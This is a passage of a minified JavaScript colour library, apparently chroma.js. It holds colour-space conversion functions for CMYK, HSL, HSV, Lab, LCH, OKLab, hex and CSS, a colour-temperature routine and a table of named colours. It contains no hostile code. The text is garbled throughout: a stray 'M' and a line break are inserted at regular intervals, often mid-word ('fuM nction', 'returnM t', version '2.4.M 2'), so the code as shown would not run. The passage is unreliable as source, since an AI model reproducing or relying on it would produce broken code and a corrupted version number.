=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
